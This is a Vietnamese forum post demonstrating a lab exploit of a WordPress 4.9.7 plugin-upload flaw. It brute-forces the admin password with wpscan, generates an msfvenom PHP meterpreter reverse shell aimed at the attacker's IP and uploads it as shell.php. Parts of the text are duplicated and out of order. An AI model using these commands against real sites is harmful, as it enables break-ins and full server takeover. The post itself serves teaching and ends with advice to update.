sImplePerson
Member
-
23/03/2020
-
11
-
28 bài viết
Demo khai thác lỗ hổng Upload File trong WordPress
Trong WordPress v4.9.7, các plugin được tải lên bằng quyền admin, sẽ chỉ nhận các plugin với định dạng là .zip, tuy nhiên với việc WordPress vẫn cho phép nhận file với các định dạng khác, điều này cho phép ta có thể tải các file như php, .png , …. Khi một tệp được tải lên,nếu không đúng định dạng là .zip, WordPress sẽ hiển thị thông báo lỗi cho biết file tải lên đang sai định dạng, tuy nhiên WordPress vẫn sẽ cho phép lưu lại file trên máy chủ. Trong trường hợp này, ta dễ dàng tải lên các file mã độc. Có thể xem tệp đã được tải lên trang web bằng cách sau:
Giới thiệu
Máy tấn công: Kali Linux
Máy nạn nhân: Windows 10
Công cụ được sử dụng: XAMPP, Metasploit
Phần mềm: WordPress v4.9.7
Để test lỗi này của WordPress, tôi đã xây dựng 1 trang WordPress trên máy ảo
1. Bước đầu tiên: Xây dựng trang WordPress bằng XAMPP
từ đó ta sẽ nhận được mật khẩu.
Ở đây:
3. Sau khi khai thác xong, tôi nhận được tài khoản và mật khẩu của admin WordPress.
Từ máy tấn công, tôi truy cập vào trang http://192.168.118.198/wordpress/wp-login.php, sử dụng tài khoản và mật khẩu lấy được, tôi đã có quyền admin trên trang này.
4. Click Add new -> Upload Plugin.
5. Duyệt tệp php của bạn và nhấp vào Install now.
6.Tôi biết plugin wordpress chỉ chấp nhận tệp ZIP vì vậy khi tải file php lên, tôi đã nhận được thông báo lỗi như trong hình dưới đây.
7. Tuy nhiên, file php của tôi vẫn được tải lên trên máy chủ. Quá trình tải lên plugin này không thành công nhưng tệp php được lưu trữ trong /wordpress/wpcontent/uploads/{year}/{month}/{file_name}.
8. Với lỗ hổng này, ta có thể tạo một payload shell ngược bằng msfvenom, và tải nó lên thông qua việc tải plugin của WordPress
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.118.200 lport=1337 –f raw
lhost=192.168.118.200 ( đây là ip máy tấn công )
Sao chép payload và dán nó vào shell.php, sau đó tải lên WordPress bằng "add Plugin" mà WordPress cung cấp.
9. Sử dụng msfconsole trên máy tấn công
Use exploit/multi/handler
Set lhost
Set lport
Use payload
Exploit
10. Ảnh khi khai thác thành công
Kết luận : Với người dùng đang sử dụng WordPress để xây dựng trang web của mình, tôi khuyên các bạn nên cập nhật lên phiên bản mới nhất để tránh tình trạng có thể bị khai thác như trên.
{Domain}/wordpress/wp-content/uploads/{year}/{month}/{file_name}.
Giới thiệu
Máy tấn công: Kali Linux
Máy nạn nhân: Windows 10
Công cụ được sử dụng: XAMPP, Metasploit
Phần mềm: WordPress v4.9.7
Để test lỗi này của WordPress, tôi đã xây dựng 1 trang WordPress trên máy ảo
1. Bước đầu tiên: Xây dựng trang WordPress bằng XAMPP
- Mở XAMPP và bắt đầu các dịch vụ.
- Dán thư mục wordpress vào htdocs của XAMPP.
- mở 127.0.0.1/wordpress
- Truy cập 127.0.0.1/phpmyadmin và vào cơ sở dữ liệu của wordpress thay đổi địa chỉ web từ 127.0.0.1/wordpress thành 192.168.118.198/wordpress (192.168.118.198 là địa chỉ ip của máy win 10)
- Tạo tài khoản trên wordpress khi lần đầu tiên truy cập vào wordpress ( đây là tài khoản admin trang wordpress của bạn).
wpscan --url http: //192.168.118.198/wordpress -U (user) --passwords (file password)
từ đó ta sẽ nhận được mật khẩu.
Ở đây:
- (user): tài khoản đăng nhập của admin wordpress, do tôi đã tạo tài khoản admin là test, nên việc khai thác lấy mật khẩu là dễ dàng. Việc khai thác ở ngoài sẽ phụ thuộc nhiều vào việc bạn có lấy được tài khoản của admin wordpress hay không
- (file password): tôi đã thu thập nhiều mật khẩu yếu và lưu vào file password.txt
3. Sau khi khai thác xong, tôi nhận được tài khoản và mật khẩu của admin WordPress.
Từ máy tấn công, tôi truy cập vào trang http://192.168.118.198/wordpress/wp-login.php, sử dụng tài khoản và mật khẩu lấy được, tôi đã có quyền admin trên trang này.
4. Click Add new -> Upload Plugin.
5. Duyệt tệp php của bạn và nhấp vào Install now.
6.Tôi biết plugin wordpress chỉ chấp nhận tệp ZIP vì vậy khi tải file php lên, tôi đã nhận được thông báo lỗi như trong hình dưới đây.
7. Tuy nhiên, file php của tôi vẫn được tải lên trên máy chủ. Quá trình tải lên plugin này không thành công nhưng tệp php được lưu trữ trong /wordpress/wpcontent/uploads/{year}/{month}/{file_name}.
8. Với lỗ hổng này, ta có thể tạo một payload shell ngược bằng msfvenom, và tải nó lên thông qua việc tải plugin của WordPress
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.118.200 lport=1337 –f raw
lhost=192.168.118.200 ( đây là ip máy tấn công )
Sao chép payload và dán nó vào shell.php, sau đó tải lên WordPress bằng "add Plugin" mà WordPress cung cấp.
9. Sử dụng msfconsole trên máy tấn công
Use exploit/multi/handler
Set lhost
Set lport
Use payload
Exploit
10. Ảnh khi khai thác thành công
Kết luận : Với người dùng đang sử dụng WordPress để xây dựng trang web của mình, tôi khuyên các bạn nên cập nhật lên phiên bản mới nhất để tránh tình trạng có thể bị khai thác như trên.
Nguồn : exploit-db
Chỉnh sửa lần cuối bởi người điều hành: